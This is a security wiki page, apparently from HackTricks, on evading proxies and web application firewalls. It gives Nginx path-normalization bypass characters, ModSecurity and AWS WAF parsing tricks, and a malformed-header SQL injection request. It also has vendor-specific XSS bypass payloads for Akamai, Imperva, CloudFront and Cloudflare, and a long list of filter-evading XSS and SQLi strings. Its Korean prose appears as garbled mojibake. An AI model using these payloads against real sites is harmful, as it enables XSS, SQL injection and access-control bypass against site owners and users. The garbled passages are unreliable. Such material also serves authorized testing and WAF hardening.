Proxy / WAF ๋ณดํธ ์ฐํ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Nginx ACL ๊ท์น์ Pathname Manipulation์ผ๋ก ์ฐํ
๊ธฐ๋ฒ from this research.
Nginx ๊ท์น ์์:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
์ฐํ๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด Nginx๋ ํ์ธํ๊ธฐ ์ ์ ๊ฒฝ๋ก ์ ๊ทํ๋ฅผ ์ํํฉ๋๋ค. ๊ทธ๋ฌ๋ ๋ฐฑ์๋ ์๋ฒ๊ฐ ๋ค๋ฅธ ์ ๊ทํ(nginx๊ฐ ์ ๊ฑฐํ์ง ์๋ ๋ฌธ์๋ฅผ ์ ๊ฑฐ)๋ฅผ ์ํํ๋ฉด ์ด ๋ฐฉ์ด๋ฅผ ์ฐํํ ์ ์์ต๋๋ค.
NodeJS - Express
| Nginx ๋ฒ์ | Node.js ์ฐํ ๋ฌธ์ |
|---|---|
| 1.22.0 | \xA0 |
| 1.21.6 | \xA0 |
| 1.20.2 | \xA0, \x09, \x0C |
| 1.18.0 | \xA0, \x09, \x0C |
| 1.16.1 | \xA0, \x09, \x0C |
Flask
| Nginx ๋ฒ์ | Flask ์ฐํ ๋ฌธ์ |
|---|---|
| 1.22.0 | \x85, \xA0 |
| 1.21.6 | \x85, \xA0 |
| 1.20.2 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.18.0 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.16.1 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
Spring Boot
| Nginx ๋ฒ์ | Spring Boot ์ฐํ ๋ฌธ์ |
|---|---|
| 1.22.0 | ; |
| 1.21.6 | ; |
| 1.20.2 | \x09, ; |
| 1.18.0 | \x09, ; |
| 1.16.1 | \x09, ; |
PHP-FPM
Nginx FPM ๊ตฌ์ฑ:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx๋ /admin.php์ ๋ํ ์ ๊ทผ์ ์ฐจ๋จํ๋๋ก ๊ตฌ์ฑ๋์ด ์์ง๋ง /admin.php/index.php์ ์ ๊ทผํ๋ฉด ์ด๋ฅผ bypassํ ์ ์์ต๋๋ค.
๋ฐฉ์ง ๋ฐฉ๋ฒ
location ~* ^/admin {
deny all;
}
Bypass Mod Security Rules
Path Confusion
In this post ์์๋ ModSecurity v3 (3.0.12 ์ด์ )์ด ์ ๊ทผ๋ ๊ฒฝ๋ก(ํ๋ผ๋ฏธํฐ ์์ ์ ๊น์ง)๋ฅผ ํฌํจํด์ผ ํ๋ REQUEST_FILENAME ๋ณ์๋ฅผ ๋ถ์ ์ ํ๊ฒ ๊ตฌํํ๋ค๊ณ ์ค๋ช
ํฉ๋๋ค. ์ด๋ ๊ฒฝ๋ก๋ฅผ ์ป๊ธฐ ์ํด URL decode๋ฅผ ์ํํ๊ธฐ ๋๋ฌธ์
๋๋ค.
๋ฐ๋ผ์ http://example.com/foo%3f';alert(1);foo= ๊ฐ์ ์์ฒญ์ ModSecurity์์๋ %3f๊ฐ ?๋ก ๋ณํ๋์ด ๊ฒฝ๋ก๋ฅผ ๋จ์ํ /foo๋ก ๊ฐ์ฃผํ์ง๋ง, ์ค์ ์๋ฒ๊ฐ ๋ฐ๋ ๊ฒฝ๋ก๋ /foo%3f';alert(1);foo= ์
๋๋ค.
๋ณ์ REQUEST_BASENAME์ PATH_INFO๋ ์ด ๋ฒ๊ทธ์ ์ํฅ์ ๋ฐ์์ต๋๋ค.
๋น์ทํ ํ์์ด Mod Security ๋ฒ์ 2์์๋ ๋ฐ์ํ๋๋ฐ, ๋ฐฑ์
ํ์ผ ๊ด๋ จ ํน์ ํ์ฅ์(์: .bak)์ ๋ํ ์ ๊ทผ์ ์ฐจ๋จํ๋ ๋ณดํธ๋ฅผ ์ (.)์ %2e๋ก URL ์ธ์ฝ๋ฉํ์ฌ ์ ์กํจ์ผ๋ก์จ ์ฐํํ ์ ์์์ต๋๋ค. ์: https://example.com/backup%2ebak
Bypass AWS WAF ACL
Malformed Header
This research ์์๋ AWS์์ ์ ๋๋ก ํ์ฑํ์ง ๋ชปํ์ง๋ง ๋ฐฑ์๋ ์๋ฒ์์๋ ํ์ฑ๋๋ โmalformedโ ํค๋๋ฅผ ์ ์กํจ์ผ๋ก์จ HTTP ํค๋์ ์ ์ฉ๋ AWS WAF ๊ท์น์ ์ฐํํ ์ ์์๋ค๊ณ ์ธ๊ธํฉ๋๋ค.
์๋ฅผ ๋ค์ด, header X-Query์ SQL injection์ ํฌํจ์์ผ ๋ค์ ์์ฒญ์ ์ ์กํ๋ฉด:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
It was possible to bypass AWS WAF because it wouldnโt understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
์ผ๋ฐ์ ์ธ WAF ์ฐํ ๋ฐฉ๋ฒ
Request Size Limits
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF wonโt check the request.
- For AWS WAF, you can check the documentation:
| Application Load Balancer์ AWS AppSync ๋ณดํธ์ ๋ํด ๊ฒ์ฌํ ์ ์๋ ์น ์์ฒญ ๋ณธ๋ฌธ์ ์ต๋ ํฌ๊ธฐ | 8 KB |
| CloudFront, API Gateway, Amazon Cognito, App Runner, ๋ฐ Verified Access ๋ณดํธ์ ๋ํด ๊ฒ์ฌํ ์ ์๋ ์น ์์ฒญ ๋ณธ๋ฌธ์ ์ต๋ ํฌ๊ธฐ** | 64 KB |
- From Azure docs:
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than 128 KB by turning off request body inspection, but these messages wonโt be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
If prevention mode: ์์ฒญ์ ๊ธฐ๋กํ๊ณ ์ฐจ๋จํฉ๋๋ค.
If detection mode: ํ๋๊น์ง ๊ฒ์ฌํ๊ณ ๋๋จธ์ง๋ ๋ฌด์ํ๋ฉฐ, Content-Length๊ฐ ํ๋๋ฅผ ์ด๊ณผํ๋ฉด ๋ก๊ทธ๋ฅผ ๋จ๊น๋๋ค.
- From Akamai:
๊ธฐ๋ณธ์ ์ผ๋ก WAF๋ ์์ฒญ์ ์ฒ์ 8KB๋ง ๊ฒ์ฌํฉ๋๋ค. Advanced Metadata๋ฅผ ์ถ๊ฐํ๋ฉด ํ๋๋ฅผ ์ต๋ 128KB๊น์ง ๋๋ฆด ์ ์์ต๋๋ค.
- From Cloudflare:
Up to 128KB.
Static assets inspection gaps (.js GETs)
Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with .js), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.
Practical use cases:
- Send payloads in untrusted headers (e.g.,
User-Agent) on a GET to a.jspath to avoid content inspection, then immediately request the main HTML to influence the cached variant. - Use a fresh/clean IP; once an IP is flagged, routing changes can make the technique unreliable.
- In Burp Repeater, use โSend group in parallelโ (single-packet style) to race the two requests (
.jsthen HTML) through the same front-end path.
This pairs well with header-reflection cache poisoning. See:
Cache Poisoning and Cache Deception
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
์ ๋์ฝ๋ ํธํ์ฑ
๊ตฌํ๋ Unicode ์ ๊ทํ ๋ฐฉ์์ ๋ฐ๋ผ (์์ธํ ๋ด์ฉ์ here), ์ ๋์ฝ๋ ํธํ ๋ฌธ์๋ฅผ ๊ณต์ ํ๋ ๋ฌธ์๊ฐ WAF๋ฅผ ์ฐํํ์ฌ ์๋ํ payload๋ก ์คํ๋ ์ ์์ต๋๋ค. ํธํ ๋ฌธ์๋ here์์ ์ฐพ์ ์ ์์ต๋๋ค.
์์
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
๏ผimg srcโผp onerrorโผ๏ผpromptโฝ1โพ๏ผ๏นฅ --> ๏ผimg src=p onerror='prompt(1)'>
์ธ์ฝ๋ฉ์ ์ฌ์ฉํด ๋ฌธ๋งฅ ๊ธฐ๋ฐ WAFs ์ฐํ
์์ this blog post์์ ์ธ๊ธํ ๊ฒ์ฒ๋ผ, ์ฌ์ฉ์ ์ ๋ ฅ์ ๋ฌธ๋งฅ์ ์ ์งํ ์ ์๋ WAF๋ฅผ ์ฐํํ๊ธฐ ์ํด WAF๊ฐ ์ฌ์ฉ์์ ์ ๋ ฅ์ ์ ์ํ(normalize)ํ๋๋ก ์ ์ฉํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, ํฌ์คํธ์๋ Akamai๊ฐ ์ฌ์ฉ์ ์
๋ ฅ์ 10๋ฒ URL decodeํ๋ค๊ณ ์ธ๊ธ๋์ด ์์ต๋๋ค. ๋ฐ๋ผ์ <input/%2525252525252525253e/onfocus ๊ฐ์ ์
๋ ฅ์ Akamai์์๋ <input/>/onfocus๋ก ๋ณด์ผ ์ ์๊ณ , WAF๋ ํ๊ทธ๊ฐ ๋ซํ๋ค๊ณ ํ๋จํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ ํ๋ฆฌ์ผ์ด์
์ด ์
๋ ฅ์ 10๋ฒ URL decodeํ์ง ์๋ ํ, ํผํด์๋ <input/%25252525252525253e/onfocus ๊ฐ์ ๊ฒ์ ๋ณด๊ฒ ๋๋ฉฐ ์ด๋ XSS ๊ณต๊ฒฉ์ ์ฌ์ ํ ์ ํจํฉ๋๋ค.
๋ฐ๋ผ์ ์ด๋ WAF๊ฐ ๋์ฝ๋ฉํ๊ณ ํด์ํ๋ ๋ฐ๋ฉด ํผํด์๋ ๋ณด์ง ๋ชปํ๋ ์ธ์ฝ๋ฉ๋ ๊ตฌ์ฑ์์์ ํ์ด๋ก๋๋ฅผ ์จ๊ธธ ์ ์๊ฒ ํด์ค๋๋ค.
๋ํ ์ด ๋ฐฉ๋ฒ์ URL encoded ํ์ด๋ก๋ ๋ฟ๋ง ์๋๋ผ unicode, hex, octal ๋ฑ ๋ค๋ฅธ ์ธ์ฝ๋ฉ์ผ๋ก๋ ์ ์ฉ๋ ์ ์์ต๋๋ค.
ํฌ์คํธ์์ ์ ์๋ ์ต์ข ์ฐํ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)> - Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999"> - AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)> - Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
๋ํ ์ผ๋ถ WAF๊ฐ ์ฌ์ฉ์ ์
๋ ฅ์ ๋ฌธ๋งฅ์ ์ด๋ป๊ฒ ์ดํดํ๋๋์ ๋ฐ๋ผ ์ด๋ฅผ ์
์ฉํ ์ ์๋ค๋ ์ ์ด ์ธ๊ธ๋์ด ์์ต๋๋ค. ๋ธ๋ก๊ทธ์ ์ ์๋ ์๋ Akamai๊ฐ /*์ */ ์ฌ์ด์ ๋ฌด์์ด๋ ํ์ฉ(์๋ง๋ ์ฃผ์์ผ๋ก ํํ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ)ํ๊ธฐ ๋๋ฌธ์ /*'or sleep(5)-- -*/ ๊ฐ์ SQLinjection์ด ๋ฐ๊ฒฌ๋์ง ์๊ณ /*๊ฐ ์ธ์ ์
์ ์์ ๋ฌธ์์ด๋ก, */๊ฐ ์ฃผ์ ์ฒ๋ฆฌ๋์ด ์ ํจํ๋ค๋ ๊ฒ์
๋๋ค.
์ด๋ฌํ ๋ฌธ๋งฅ ๋ฌธ์ ๋ WAF๊ฐ ์์ํ ์ทจ์ฝ์ ์ด์ธ์ ๋ค๋ฅธ ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ๋ฐ์๋ ์ฌ์ฉ๋ ์ ์์ต๋๋ค(์: XSS๋ฅผ ์ ์ฉ).
Inline JavaScript first-statement inspection gaps
์ผ๋ถ inline-inspection ๊ท์น์
์ ์ด๋ฒคํธ ํธ๋ค๋ฌ ๋ด๋ถ์ ์ฒซ ๋ฒ์งธ JavaScript ๋ฌธ์ฅ๋ง ํ์ฑํฉ๋๋ค. ๋ฌดํดํด ๋ณด์ด๋ ๊ดํธ ํํ์ ๋ค์ ์ธ๋ฏธ์ฝ๋ก ์ ๋ถ์ฌ(prefixing) (์: onfocus="(history.length);payload"), ์ธ๋ฏธ์ฝ๋ก ๋ค์ ์์นํ ์
์์ ์ฝ๋๋ ๊ฒ์ฌ๋ฅผ ์ฐํํ๋ฉด์ ๋ธ๋ผ์ฐ์ ๋ ์ฌ์ ํ ์คํํฉ๋๋ค. ์ด๋ฅผ fragment๋ก ์ธํ ํฌ์ปค์ค(์: ๋์ ์์๊ฐ ๋ก๋ ์ ํฌ์ปค์ค๋๋๋ก #forgot_btn ์ถ๊ฐ)์ ๊ฒฐํฉํ๋ฉด ํด๋ฆญ ์๋ XSS๊ฐ ๊ฐ๋ฅํ๋ฉฐ ์ฆ์ $.getScript๋ฅผ ํธ์ถํ๊ณ ํค๋ก๊ฑฐ ๊ฐ์ ํผ์ฑ ํด์ ๋ถํ
์คํธ๋ฉํ ์ ์์ต๋๋ค. ์ด์ ๊ด๋ จํ ์ฌ๋ก๋ attribute-only login XSS case study์์ ํ์ธํ ์ ์์ผ๋ฉฐ, ์ด๋ this research์์ ํ์๋ ๋ด์ฉ์
๋๋ค.
H2C Smuggling
IP Rotation
- https://github.com/ustayready/fireprox: Generate an API gateway URL to by used with ffuf
- https://github.com/rootcathacking/catspin: Similar to fireprox
- https://github.com/PortSwigger/ip-rotate: Burp Suite plugin that uses API gateway IPs
- https://github.com/fyoorer/ShadowClone: ์ ๋ ฅ ํ์ผ ํฌ๊ธฐ์ split factor์ ๋ฐ๋ผ ๋์ ์ผ๋ก ๊ฒฐ์ ๋ ์์ container instances๊ฐ ํ์ฑํ๋๋ฉฐ, ์ ๋ ฅ์ ๋ณ๋ ฌ ์คํ์ ์ํด ์ฒญํฌ๋ก ๋ถํ ๋ฉ๋๋ค. ์๋ฅผ ๋ค์ด 10,000 ๋ผ์ธ ์ ๋ ฅ ํ์ผ์์ split factor๊ฐ 100 ๋ผ์ธ์ผ ๋ 100๊ฐ์ ์ธ์คํด์ค๊ฐ ํ์ฑํ๋์ด 100๊ฐ์ ์ฒญํฌ๋ฅผ ๋ณ๋ ฌ ์ฒ๋ฆฌํฉ๋๋ค.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
์ ๊ท์ ํํฐ๋ฅผ ์ฐํํ๊ธฐ ์ํด ๋ค์ํ ๊ธฐ๋ฒ์ด ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ์๋ก๋ ๋์๋ฌธ์ ๊ต์ฐจ ์ฌ์ฉ(alternating case), ์ค๋ฐ๊ฟ ์ถ๊ฐ, ํ์ด๋ก๋ ์ธ์ฝ๋ฉ ๋ฑ์ด ์์ต๋๋ค. ์ฌ๋ฌ ์ฐํ ๊ธฐ๋ฒ์ ๋ํ ์๋ฃ๋ PayloadsAllTheThings์ OWASP์์ ํ์ธํ ์ ์์ต๋๋ค. ์๋ ์์๋ค์ this article์์ ๋ฐ์ทํ์ต๋๋ค.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
๋๊ตฌ
- nowafpls: ์์ฒญ์ ๋ถํ์ํ ๋ฐ์ดํฐ๋ฅผ ์ถ๊ฐํ์ฌ ๊ธธ์ด ๊ธฐ๋ฐ์ผ๋ก WAFs๋ฅผ ์ฐํํ๋ Burp plugin
์ฐธ๊ณ ์๋ฃ
- https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


